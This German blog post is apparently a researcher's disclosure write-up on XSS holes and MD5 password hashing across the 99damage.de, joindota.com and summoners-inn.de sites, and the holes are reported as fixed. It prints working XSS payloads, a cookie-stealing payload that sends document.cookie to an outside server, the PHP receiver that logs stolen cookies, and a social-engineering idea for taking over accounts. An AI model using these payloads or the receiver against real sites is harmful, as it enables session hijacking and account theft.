Inhaltsverzeichnis
Hallo @all! Heute kommen wir zum über Twitter versprochenen Leckerbissen. Es geht um Sicherheitslücken in den Websites 99damage.de, joindota.com und summoners-inn.de, sowie um die generelle Passwortsicherheit im Freaks 4U Netzwerk.
Da die Sicherheitslücken auf joindota.com und summoners-inn.de auf der gleichen Basis, wie die Sicherheitslücken der 99Damage beruhen, werde ich auf die anderen Websites nur sehr wenig eingehen.
Ebenfalls habe ich in diesem Beitrag sogar ein gravierendes Beispiel dafür gegeben, was mit einer solchen Sicherheitslücke möglich ist. Diesen Abschnitt findest du unter der Überschrift „Dein Account ist mein Account„.
Vorwort und zeitlicher Ablauf
Bevor wir auf die Sicherheitslücken und die Passwortsicherheit eingehen, möchte ich noch kurz anmerken, dass es dieses Mal etwas chaotisch ablief. Ich habe die Sicherheitslücken am 23.03.2021 gemeldet, einige davon wurden dann kommentarlos nach etwa einer halben Woche „geschlossen“. Ich habe keinerlei Rückmeldung über diesen Vorgang erhalten.
Auch habe ich mich gefragt, warum nur ein Teil der Sicherheitslücken geschlossen wurde. Ich habe dies dann noch ein paar Tage beobachtet. Leider war 3 oder 4 Tage später immer noch nichts da, sodass ich am 01.04.2021 noch mal eine E-Mail geschickt habe, mit der Frage wie der aktuelle Stand ist. Über Ostern habe ich nicht wirklich mit Fortschritten gerechnet.
Tatsächlich habe ich am 11.04, also über eine Woche später, eine Nachricht von einem IT-Mitarbeiter von Freaks 4U über die 99Damage Website bekommen. Vorweg, der Mitarbeiter war sehr freundlich und hat sich für die Situation entschuldigt.
Meines Wissens nach wurde die Sicherheitslücke am 1.4 geschlossen. Sollte dies nicht der Fall sein gibt mir gerne nochmal direkt Feedback damit ich das Eskalieren kann.
Man hat also schlichtweg meine E-Mail nicht korrekt gelesen. 3 Tage später ist nun endlich klar, dass die Sicherheitslücke auf der Website der 99Damage noch nicht geschlossen ist, aber auf allen anderen Webseiten geschlossen wurde!
Dafür gibt es eine einfache Erklärung. Auf 99damage.de lief noch die alte Version des CMS von Freaks 4U, während auf allen anderen Seiten bereits die neue Version lief. In meinen Augen hieß das also, dass solange die 99Damage Website nicht die neue Version bekommt, wird diese Sicherheitslücke ungeschlossen bleiben.
Am 24.04.2021 meldete sich Kami bei mir und kümmerte sich nun persönlich um die Angelegenheit. Ich habe ihm sämtliche Daten zur Verfügung gestellt. Er war sehr freundlich und kompetent in der Handhabung.
Tatsächlich lief mit Kami alles relativ schnell und professionell ab. 5 Tage hat es nur gebraucht und alle Lücken sind geschlossen. Ich habe sogar ein Dankeschön von Kami und Freaks 4U in Form eines CS:GO Skins bekommen. Ein großes Dankeschön dafür auch hier nochmal 🙂
Im Endeffekt ist jetzt alles wieder sicher und ein bisschen Drama hat noch niemanden geschadet! Ebenfalls wurde diese Sicherheitslücke meines Wissens nach nicht ausgenutzt. Kommen wir nun zum eigentlichen Teil des Beitrages!
Die Passwortsicherheit
Ich möchte direkt etwas anmerken. Dieser Abschnitt ist teilweise sehr theoretisch!
Passwortsicherheit ist ein oft sehr unterschätztes Thema in der IT. Oft haben Nutzer keinerlei Ahnung wie ihr Passwort in der Datenbank gespeichert wird. Genauer gesagt, welche Verschlüsselungsmethode ein Webseitenbetreiber wählt, um die Passwörter zu speichern, bleibt oft ungeklärt. Zum Teil ist das auch gut so.
Ich erkläre euch die Situation anhand eines Beispiels. Ich möchte mich auf der Website www.test-login.de einloggen. Der Request dafür sieht so aus:
Request: https://www.test-login.de/login.php
POST: username=Mauric3&password=admin1234Wie ihr erkennen könnt, wird unser Passwort im Klartext versendet. Das ist an sich kein Problem, da die meisten Internetseiten heutzutage ein SSL Zertifikat verwenden und man schon einen Man-in-the-Middle-Angriff durchführen müsste, um das Passwort abzufangen.
Mithilfe von PHP wird dieses Passwort dann verschlüsselt, bevor es in die Datenbank eingetragen (Registrierung) oder abgeglichen wird (Login).
$hashedPassword = password_hash($unhashedPassword, PASSWORD_DEFAULT);Freaks 4U macht das auf 99damage.de allerdings etwas anders. Das Passwort wird nämlich schon vorher verschlüsselt übertragen. Ich sehe dort 2 Möglichkeiten.
Möglichkeit A wäre die Tatsache, dass Freaks 4U auf Nummer Sicher gehen will und später doppelt verschlüsselt. Davon gehe ich allerdings eher weniger aus, da es dafür auch schönere Möglichkeiten geben würde und die anderen Webseiten von Freaks 4U wie oben beschrieben die Passwörter normal in Klartext übertragen.
Möglichkeit 2 ist, dass das Passwort nicht auf normale Art und Weise übertragen wird, sondern die Verschlüsselung vorher festgelegt wird und das Passwort später nicht noch einmal verschlüsselt wird. Das war sicherlich vor einigen Jahren noch eine Möglichkeit, ohne HTTPS Passwörter „sicher“ durchs Internet zu schicken, aber heutzutage ist das „very outdated“.
Ehrlich gesagt, steige ich bei dieser Logik nicht wirklich durch. Mehr dazu weiter unten nach der Auflösung! Sollte Variante 1 zutreffen (was man natürlich nicht weiß), sehe ich kein Problem und dieser Abschnitt kann übersprungen werden. Sollte Variante 2 zutreffen, ist dies natürlich ein ziemliches Sicherheitsproblem. Man hat dadurch einen Hash als Übergabe und kann dadurch auf die Verschlüsselungsmethode schließen.
Ich habe mir diesen Hashwert abgespeichert und den Verschlüsselungsalgorithmus bestimmt. Durch die Länge von 32 Bytes und das Verzichten eines Salts, bin ich von MD4, MD5 oder einem anderen ähnlichen Verschlüsselungsalgorithmus als Möglichkeit ausgegangen.
Da MD5 vor einigen Jahren noch der Standard war, gehe ich einfach von dieser Verschlüsselungsart aus. Was ich allerdings anmerken muss, ist die Tatsache, dass MD5 eine Einweg-Hashfunktion ist. Das bedeutet, dass der errechnete Hashwert mathematisch nicht umkehrbar ist.
Um meine Theorie zu überprüfen, musste ich also mein eigenes Passwort cracken. Ich habe meinen Hash in eine Textdatei und mein Klarpasswort in eine andere Textdatei abgelegt.
Über eine spezielle Software habe ich nun meinen Hashwert und mein Klarpasswort abgeglichen und siehe da! Mein Verdacht hat sich bestätigt. Es ist MD5! Innerhalb der roten Box siehst du auf der linken Seite den MD5 Hash und auf der rechten Seite nach dem Doppelpunkt mein Klarpasswort.
Das admin1234 nicht mein richtiges Passwort ist, brauche ich wahrscheinlich niemanden zu sagen. Ich habe mein Passwort extra für diesen Test geändert.
Das Problem dabei ist, dass MD5 veraltet ist und als unsicher gilt. Bereits seit Jahren wird davon abgeraten, diese Verschlüsselungsmethode für die Programmierung zu nutzen. Einen ganz interessanten Artikel zu dem Thema gibt es im Übrigen von Tim Pangritz. Außerdem gibt es eine schöne Liste, welche Verschlüsselungen auflistet, die bereits als unsicher gelten.
Eine viel sicherere Alternative zu md5() ist die Password Hashing API, welche mit PHP 5.5 eingeführt wurde. Über password_hash('Passwort', PASSWORD_DEFAULT) setzt man auf den sehr sicheren bcrypt-Algorithmus, welcher aktuell Industriestandard ist. Einen sehr guten Praxis-Artikel für Entwickler habe ich hier verlinkt.
Die Auflösung
So wie versprochen führen wir das Thema Logik hinter dieser MD5 Verschlüsselung weiter. Ich habe in einer JavaScript Datei tatsächlich die Funktion entdeckt, in der das Passwort als MD5 Hash konvertiert wurde.
String.implement({
'toMD5': function()
{
return md5(this);
}
});In der Datei ist auch die Loginfunktion inklusive komplettem Query versteckt.
function netbar_login_submit() {
var user_name = $('gsnet_login_name').value;
var user_passwd = $('gsnet_login_passwd').value;
if (!user_name || !user_passwd) {
netbar_error_msg('login', netbar_phrase('login_submit_fields'));
} else {
// Send it
$('gsnet_login_submit').disabled='true';
$('gsnet_login_name').disabled='true';
$('gsnet_login_passwd').disabled='true';
$('gsnet_login_error').style.display='none';
$('gsnet_login_loader').style.display='';
netbar_query('login', { user_name: user_name, user_passwd: user_passwd.toMD5(), forum_mode: netbar_forum_mode }, true);
}
}Wenn ich mich auf 99damage.de anmelde, produziere ich folgenden Request:
URL: https://secure.gamesports.net/global/netbar/
POST: forum_mode=0&hostname=csgo.99damage.de&language=de&logged_in=0&path=%2Fde%2Fstart&Wir können ganz klar die Parameter forum_mode, user_name und user_passwd aus unserer Javascript Funktion erkennen. Die restlichen Parameter sind Zusätze, welche von Freaks 4U hinzugefügt werden, um den Nutzer eindeutig 99damage.de zuzuweisen.
Ich hatte mir jetzt folgende Logik überlegt. Eventuell wird unser Passwort vorher gehashed, weil die Daten nicht an eine Datei geschickt werden, welche mit der 99damage.de Domain verknüpft ist und auf einem anderen Server liegt. Das könnte eventuell Datenschutzprobleme verursachen und deswegen will 99Damage dementsprechend entgegenwirken.
Ich habe also diese Theorie überprüft. Das war dann wohl in Schuss in den Ofen. Wir sehen, dass 99damage.de und gamesports.net die gleichen IPv6 Adressen haben und somit auf dem gleichen Server (Hetzner) liegen.
Hier wurde für jedes Verzeichnis eine Domain aufgeschaltet. Also beispielsweise: Ebene 1 (Webseiten) -> Ebene 2 (99Damage) = 99damage.de & Ebene 1 (Webseiten) -> Ebene 2 (gamesports) = gamesports.net.
Alles in allem kann ich jetzt wieder sagen: die Logik dahinter verstehe ich nicht. Javascript MD5 war früher sehr beliebt, als es noch unüblich war ein SSL Zertifikat auf der Website zu haben und diese Zertifikate verdammt viel Geld gekostet haben.
Heutzutage macht dies nicht wirklich Sinn und ist einfach unnötig. Wie gesagt, ich kann nur hoffen, dass 99Damage bzw. Freaks 4U doppelt verschlüsselt.
Lösungsvorschlag – Hashes aktualisieren
Da ich natürlich nicht nur „meckern“ möchte, zeige ich einmal wie man eine Umstellung von MD5 zum aktuellen Standard vollziehen könnte.
Ich sehe dort 2 Möglichkeiten. Möglichkeit 1: Wir setzen die Passwörter für sämtliche User zurück und schicken ihnen eine E-Mail mit einem Einmalpasswort zu. Beim nächsten Login sollen die User ihr Passwort im Administrationsbereich ändern und die ganze Sache ist durch. Möglichkeit 2: Alternativ könnte man dies auch mit dem nachfolgenden PHP Code machen.
Wir haben ja bereits einen funktionierenden Login, dieser muss nur etwas erweitert werden. Wir müssen irgendwie prüfen, inwiefern das Passwort verschlüsselt ist, welches zu diesem Account verlinkt ist, wenn ein Nutzer sich einloggen möchte.
Mit der Funktion substr() können wir prüfen, ob das Passwort (oder besser gesagt der Hash) mit einem Dollarzeichen anfängt. Warum ein Dollarzeichen? Ein password_hash() Hash fängt immer mit einem Dollarzeichen an. Sollte das zutreffen, wird der normale Login vollzogen.
Sollte das nicht der Fall sein, überprüfen wir ob der MD5 Hashwert unseres Passwortes mit dem Hashwert in der Datenbank übereinstimmt. Sollte das der Fall sein, führen wir eine einfache Aktualisierung des Hashes durch und loggen den Nutzer ein.
Ich hab euch das einmal zur Demonstration programmiert und für Testzwecke sogar eine Ausgabe des Klartextpasswortes, des MD5 sowie des password_hash Hashes eingebaut.
<?php
if(isset($_POST['submit'])){
$passwortInDatenbank = "098f6bcd4621d373cade4e832627b4f6"; // MD5
$passwort = $_POST['passwort'];
if(substr($passwortInDatenbank, 0, 1) == "$"){
/* Das Passwort in der Datenbank beginnt mit einem Dollarzeichen - also nutzt die Website bereits die hash_password Funktion
und es kann mit dem Login begonnen werden */
echo "Login beginnt...";
}else{
// Das Passwort in der Datenbank beginnt nicht mit einem Dollarzeichen, also das Passwort updaten
if(md5($passwort) == $passwortInDatenbank){
echo "Die Verschlüsselung wurde aktualisiert";
}else{
echo "Dein Passwort ist falsch, aber die Verschlüsselung wurde aktualisiert.";
}
}
echo "<br><hr><br>";
echo "Klartext: " . $passwort . "<br>";
echo "MD5: " . md5($passwort) . "<br>";
echo "password_hash: " . password_hash($passwort, PASSWORD_DEFAULT);
}
?>Wie wir sehen, ist es „relativ“ einfach eine Migration von MD5 zu einer anderen Verschlüsselung zu vollziehen. Ich hoffe einfach, dass Freaks 4U nicht wirklich die Passwörter der Nutzer als MD5 Hashwert abspeichern. Das BSI (Bundesamt für Sicherheit in der Informationstechnik) schreibt in einem Artikel zu kryptographischen Verfahren folgendes:
Systeme, die MD5 für kryptographische Zwecke verwenden, sind daher mit der vorliegenden Technischen Richtlinie nicht konform.
Genug zur Passwortsicherheit. Kommen wir zu den Sicherheitslücken!
Die Sicherheitslücken
Puuuuuhhh.. das waren jetzt knapp 1600 Wörter nur zur Passwortsicherheit des Freaks 4U Netzwerkes. Machen wir bei den Sicherheitslücken weiter. Es handelt sich dabei um reflected und persistent XSS Lücken, welche das Forum (alte Website), den Nachrichtenbereich (alte Website), das Profil (alte Website) und jede Seite der neuen 99Damage Website betreffen.
Teilweise wäre ich imstande gewesen ziemlich viel Schaden anzurichten. Hätte ich diese Sicherheitslücken auf einer Website wie TikTok oder Reddit gefunden, wäre ich laut aktuellen BugBounty Rewards mit 1.700 $ bis 6.900 $ bei TikTok und genau 10.000 $ bei Reddit herausgegangen. Bei Google wären es sogar 13.337 $ gewesen.
Bei joindota.com und summoners-inn.de betreffen die Lücken das Profil und das Forum. Ich habe auch intensiv nach anderen Lücken gesucht, um zum Beispiel ohne korrektes Passwort einem anderen Team beizutreten usw., aber habe dahingehend zum Glück nichts gefunden.
Die Teamfunktion
Starten wir als Erstes mit der Teamfunktion. Am 09.05.2020 hat 99Damage in einer Ankündigung die neue Website vorgestellt. Sie ist moderner und für mobile Geräte optimiert. Neue Seiten beinhalten neue Funktion, welche wiederum neue unentdeckte Sicherheitslücken enthalten können.
Dementsprechend habe ich die Seite etwas getestet und bin beim Erstellen eines Teams auf eine persistent XSS Lücke gestoßen. Damit ist es mir möglich, jedes Mal Schadcode auszuführen, wenn ein Spieler meines Teams sich auf der neuen 99Damage Website bewegt.
Wie man auf dem großen Bild erkennen kann, wird der Teamname an 2 verschiedenen Stellen angezeigt. Einmal entschärft als Überschrift auf der Teamseite und einmal auf der rechten Seite der neuen Website innerhalb dieser kleinen Box.
Diese kleine Box mit dem Namen des Teams wird auf jeder einzelnen Seite der neuen Website angezeigt und genau dort ist die Sicherheitslücke. Ich habe eine simple alert Nachricht als Demonstration ausgeben lassen.
Theoretisch ist damit natürlich viel mehr möglich. Diese Sicherheitslücke wurde wie im Vorwort angesprochen bereits geschlossen und ist nicht mehr ausnutzbar.
Kommen wir jetzt zu der Funktion, welche eine Sicherheitslücke im Nachrichtenbereich, des Profils und jeder Seite im Forum auf sämtlichen Webseiten des Freaks 4U Netzwerkes darstellte.
Es gibt wirklich gute Funktionen, welche in den Webseiten der Freaks 4U implementiert sind. Ein Beispiel dafür ist der WYSIWYG Editor. Ein WYSIWYG (What You See Is What You Get) Editor ist ein intelligenter Editor, der einem das einfache Bearbeiten von Seiten ohne Programmierkenntnisse ermöglicht.
So können wir zum Beispiel im Forum Wörter fett, kursiv und unterstrichen darstellen. Ebenfalls können wir Links, Bilder, Zitate und YouTube Videos ohne den Quellcode manipulieren zu müssen darstellen.
Genau diese YouTube Funktion war verwundbar. Anhand des nächsten Bildes siehst du wie diese Sicherheitslücke ausgeführt wurde.
Beleuchten wir die Situation noch einmal genauer. Dazu dienen mir die aktuellen Versionen (Stand 24.04.2021) von summoners-inn.de und 99damage.de!
Wenn man den Payload abspeichert, wird unsere reflected XSS zu einer persistent XSS. Der fertige Sourcecode auf den Internetseiten ist dabei etwas anders. Vergleichen wir die Codes.
99damage.de verwandelt die YouTube URL zu einer datenschutzfreundlichen Version, welche YouTube anbietet und bindet diese anschließend über ein iframe ein.
99damage.de:
<iframe class="forum_ed_youtube" src="https://www.youtube-nocookie.com/embed/<svg=" onload="alert('XSS')//'>?rel=0"" frameborder="0" allowfullscreen=""></iframe>summoners-inn.de:
<iframe src="" frameborder="0" allowfullscreen="" data-user-consent="true" data-user-consent-type="video" data-user-consent-provider="youtube" data-user-consent-src="https://www.youtube-nocookie.com/embed/<svg="onload=alert('Mauric3')//'>;?rel=0"></iframe>Wie wir sehen können, wird die Quelle auf der Website von 99damage.de nicht überprüft und einfach in das src Attribut eingebaut. Auf summoners-inn.de wird das hingegen überprüft und das Video nicht dargestellt. Dementsprechend gucken wir uns das auf 99damage.de etwas genauer an.
Folgender Request wird gebildet, wenn wir das Ganze in der Vorschau anzeigen lassen wollen.
URI: https://csgo.99damage.de/ajax/user_editor_preview
Payload: <svg="onload=alert('Mauric3')//'>
POST: id=0&language=de&text= [youtube]<svg="onload=alert('Mauric3')//'>[/youtube]
Ich habe die Situation in dem oberen Bild einmal genau beleuchtet.
- Pfeil 1 markiert den ausgeführten Payload, welcher unsere Schwachstelle symbolisiert.
- Pfeil 2 zeigt den YouTube iframe in der Vorschau an. Normalerweise sollte hier ein korrektes Video ausgegeben werden.
- Pfeil 3 zeigt den iframe innerhalb des Sourcecodes auf der Website
- Pfeil 4 die Stelle, an der mein Payload die eigentliche Funktionsweise des iframes unterbrochen hat.
Schauen wir uns mal Pfeil 4 genauer an. Unser Payload beinhaltet ein SVG Tag, welcher mit einem Javascript Event versehen ist. Durch das Verwenden von (theoretisch) unnötigen Zeichen (=“) wird unser src Attribut vorher geschlossen und das eigentliche Javascript Event (onload) wird dem Iframe angehängt.
Dadurch wird der Code innerhalb des onload Events jedes Mal ausgeführt, wenn das iframe geladen wird. Also wird dieser Code ausgeführt, wenn unser Profil geladen wird, wenn die Seite eines Forums geladen wird und wenn eine Nachricht geöffnet wird. Also wird unser Code überall ausgeführt, wo unser YouTube Video angezeigt wird.
Dein Account ist mein Account!
Wie bereits in der Einleitung angemerkt, möchte ich euch zeigen, was mit einer solchen Sicherheitslücke machbar ist. Ich rede hier nicht von einem simplen Pop-up oder von einer Überschrift, die eigentlich nicht da sein sollte.
Ich rede davon, dass ich als Hacker die Kontrolle über deinen 99Damage.de Account übernehmen kann. Wir haben ja bereits gesehen, dass ich diese XSS (Cross Site Scripting) Lücke für eine Alert Nachricht ausnutzen kann.
Ich bin einen Schritt weitergegangen und wollte schauen, was im schlimmsten Fall passieren könnte. Ich bin der Meinung, dass wenn jemand meinen Account übernehmen würde, wäre das ein Worst-Case-Szenario.
Es gibt einige Möglichkeiten das durchzuziehen. Ich habe mich dazu entschlossen, dies mit Session-Hijacking bzw. Cookie Stealing zu versuchen.
Was ist das?
Webseiten verwenden Cookies und Sessions, um private Informationen beim User zu speichern, einen User eindeutig zuzuordnen oder die Funktionalität von bestimmten Sachen zu gewährleisten.
Ein gutes Beispiel ist dafür immer ein Warenkorb bei einem Online-Shop. Die Artikel in deinem Warenkorb werden in einem Cookie auf deinem PC gespeichert, sodass du am nächsten Tag die Waren immer noch im Warenkorb hast, falls du die Website schließen solltest und am nächsten Tag erst bezahlen möchtest.
Natürlich können in diesen Cookies auch sehr persönliche Daten wie E-Mail-Adressen, Passwörter, Nutzerkennungen und andere Sachen gespeichert werden. Genau das ist bei 99damage.de der Fall.
Wie ihr im nächsten Bild erkennen könnt, generiert 99Damage zwei Cookies, sobald ihr euch auf der Website anmeldet. Ein Cookie besitzt den Wert der Login ID und ein Cookie besitzt den Wert deines Passwortes und eines Zusatzes als Hash.
99Damage überprüft nun auf jeder Seite, ob der Nutzer diese aktiven Cookies gespeichert hat und ob diese auch gültig sind. Meine Idee war jetzt, diese zwei Cookies von einem anderen User zu stehlen und meine eigenen Cookies mit den gültigen Daten zu manipulieren, um mich als fremder Nutzer auszugeben.
Wie funktioniert das?
Anstelle einer Alert Nachricht, müssen wir unseren Code geringfügig anpassen und auf einem privaten Server eine Datei ablegen, welche die Cookies in Empfang nimmt. Das Ganze funktioniert so: 99damage.de versendet die Cookies an meine Website. Meine Website nimmt diese in Empfang und speichert diese in einer Textdatei oder Datenbank, sodass ich jederzeit darauf zugreifen kann.
Ich habe folgende Funktion in einer Javascript Datei gefunden.
// Launch - check exists login
function netbar_check_login() {
if (netbar_logged_in == 1) {
if (netbar_forum_mode == 1) {
} else {
netbar_query('login_check', { cur_id: Cookie.read('freakms_login_id'), cur_pw: Cookie.read('freakms_login_pw') });
}
}
}Wir sehen eine einfache Abfrage. Ist forum_mode auf 1 gestellt, wird kein Code ausgeführt. Sollte das nicht der Fall sein, überprüft die Website deine Cookies freakms_login_id und freakms_login_pw.
Da weder HttpOnly noch Secure als Flags gesetzt sind, bin ich mir ziemlich sicher, dass ich diese Cookies stehen und nutzen kann, um mich als fremde Person ausgeben zu können. Später mehr zu den beiden Flags.
Machen wir uns jetzt an die Praxis. Unser Payload für die Website von 99damage.de lautet wie folgt.
[youtube]<svg="onload=document.location='https://www.mauricewoitzyk.de/testumgebung/hacking/cookie.php?cookies='+document.cookie //'>[/youtube]Sobald 99damage.de den betroffenen Part der Website geladen hat, wird document.location ausgeführt. Auf meinem Webspace ist ein PHP Dokument mit dem Namen cookie.php abgespeichert. Findige Leser haben hier den cookies Parameter in der URL entdeckt. An diesem Parameter werden die Cookies angehängt und über den PHP Code in der cookie.php Datei in Empfang genommen und verarbeitet.
Jetzt kümmern wir uns mal um unsere cookie.php Datei.
<?php
if(!empty($_GET['cookies'])){
$logfile = fopen('cookies.txt', 'a');
fwrite($logfile, $_GET['cookies'] . "\n\n");
fclose($logfile);
header("location: https://csgo.99damage.de/de/forums/1051-liga/1055-probleme/654946-weiterleitung-big-sammelthread");
}else{
header("location: https://csgo.99damage.de/de/forums/1051-liga/1055-probleme/654946-weiterleitung-big-sammelthread");
}
?>11 Zeilen haben extrem viel Macht in diesem Fall 😉 . Wir prüfen in der 2. Zeile zwei Dinge. Zum einen überprüfen wir, ob der Parameter „cookies“ übergeben wurde und zum anderen überprüfen wir, ob dieser Parameter leer ist.
Für den Fall, dass alles okay ist und Cookies im Parameter übergeben worden sind, weisen wir mit fopen unser Script an, die Datei cookies.txt zu öffnen, oder falls diese nicht vorhanden ist, zu erstellen.
Danach schreiben wir die Cookies in unsere cookies.txt Datei und fügen einen Zeilenumbruch hinzu. Anschließend folgt noch eine Umleitung auf eine 99Damage Seite im Forum und das war es dann auch schon!
Super! Es funktioniert also. Meine Cookies wurden verschickt, verarbeitet und in der cookies.txt Datei abgespeichert. Nur wie würde man jetzt weitermachen?
Ich habe also einen neuen Tab geöffnet und die Website 99damage.de besucht. Anschließend kann ich entweder mithilfe eines Add-ons oder einer anderen Software diese Cookies anlegen, oder ich logge mich ein.
Die einfachste Möglichkeit wäre der Login in meinen eigenen Account. Anschließend muss ich nur wieder die Entwickleroptionen öffnen und unter dem Reiter „Application“ die betroffenen Cookies heraussuchen. Ein Doppelklick, einmal Kopieren+Einfügen und schon sind die Werte abgeändert.
Ich lade die Website neu und merke sofort, ich bin auf einmal ein komplett anderer User (wie im nächsten Bild zu sehen). Danke nochmal an Mythael, der seinen Account für dieses Experiment zur Verfügung gestellt hatte.
Ich kann nun alle Funktionen der alten 99Damage Website nutzen, welche kein extra Passwort voraussetzen. Ich kann unter falschem Namen im Forum schreiben, sämtliche Nachrichten des Users lesen und die Gameaccounts ändern lassen.
Für alle anderen Funktionen brauche ich das aktuelle Passwort, was ich natürlich nicht habe. Eventuell würde ich mit Social Engineering beim Support weiterkommen.
Frei nach dem Motto: „Es gibt ein technisches Problem. Mein Passwort wird nicht akzeptiert, sodass ich meine E-Mail ändern kann.“ Mit etwas Glück gibt der Support dir ein Einmalpasswort, sodass du dein Passwort ändern kannst. Danach kannst du die E-Mail ändern und hast nun kompletten Zugriff auf das Profil.
Hätte das funktioniert und ich möchte anmerken, dass ich das natürlich nicht probiert habe, hätte ich unwissentlich einem User die Cookies gestohlen. Hätte mich dank dieser Cookies angemeldet, mithilfe von Social Engineering mein Passwort ändern lassen, sodass ich kompletten Zugriff bekomme und dann hätte ich alles machen können.
Als Teamcaptain hätte ich Spieler aus dem Team Slot werfen können, meinen Account komplett löschen lassen, mein Team durch schlechtes Benehmen oder durch das vermeintliche Eingestehen von aktivem Cheating während der 99Damage Matches disqualifizieren lassen und naja.. praktisch alles halt.
Für letzteres brauche ich nicht einmal das Passwort, da ich mithilfe der Cookies bereits genug „Power“ habe, um im Forum schreiben zu können.
Wie verhindere ich das?
Wie versprochen erkläre ich euch jetzt noch, wie ihr Cookie Stealing verhindern könnt. Mithilfe des httpOnly-Flags, verhindern wir, dass verschiedene Scripte unsere Cookies auslesen können. Durch das Setzen eines secure-Flags verhindern wir, dass Cookies über ungesicherte HTTP Verbindungen gesetzt werden.
Das Problem an der ganzen Sache ist, dass 99Damage diese Cookies mittels Javascript gesetzt hat. Und die wichtige httpOnly Flag kann man in Javascript erzeugten Cookies nicht setzen.
Wie bereits gesagt, war ein Teil dieses Exploits auf allen anderen Seiten von Freaks 4U ausführbar. Nachfolgend gibt es dazu noch eine kleine Bildergalerie.
So mehr habe ich tatsächlich erstmal nicht zu sagen.
Ich hoffe, dieser Artikel hat euch gefallen. Es steckt auf jeden Fall eine Menge Arbeit in diesem Beitrag.
Ich möchte niemanden mit diesem Beitrag schlecht reden, sondern nur auf Missstände hinweisen. Schließlich ist das Wohl der Nutzer nicht nur in unserem eigenen Interesse, sondern auch im Interesse der 99Damage und somit im Interesse der Freaks 4U.
Ich hoffe, dass falls 99Damage bzw. Freaks 4U wirklich Passwörter im MD5 Format in der Datenbank speichert, sich das bald ändert und man sich diesen Artikel zu Herzen nimmt.
Euer Maurice 🙂